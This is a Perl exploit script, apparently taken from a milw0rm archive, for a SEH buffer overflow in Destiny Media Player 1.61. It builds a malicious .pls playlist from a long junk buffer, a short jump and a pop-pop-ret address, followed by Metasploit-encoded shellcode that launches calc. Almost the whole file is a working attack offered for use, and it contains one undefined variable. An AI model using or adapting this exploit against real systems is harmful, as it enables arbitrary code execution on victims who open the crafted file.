29 lines
No EOL
1.3 KiB
Perl
Executable file
29 lines
No EOL
1.3 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
#[+] Bug : Destiny Media Player 1.61 (.pls) Universal Buffer overflow (SEH)
|
|
#[+] Author : ThE g0bL!N
|
|
#[+] Greetz : ma 3labaliche :D
|
|
#[+] Use : open the pls file directly :)
|
|
#[+] Note: His0k4 Merci jamais Raditni
|
|
##########################################################
|
|
|
|
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
|
|
my $shellcode =
|
|
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
|
|
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
|
|
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
|
|
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
|
|
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
|
|
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
|
|
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
|
|
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
|
|
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
|
|
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";
|
|
|
|
my $junk="\x41" x 45224;
|
|
my $next_seh="\xEB\x06\x90\x90"; # short jump
|
|
my $seh="\xA6\x7B\x41\x00"; # pop pop ret->Destiny.exe
|
|
|
|
open(myfile,'>>exploit.pls');
|
|
print myfile $top.$junk.$next_seh.$seh.$shellcode;
|
|
|
|
# milw0rm.com [2009-08-01] |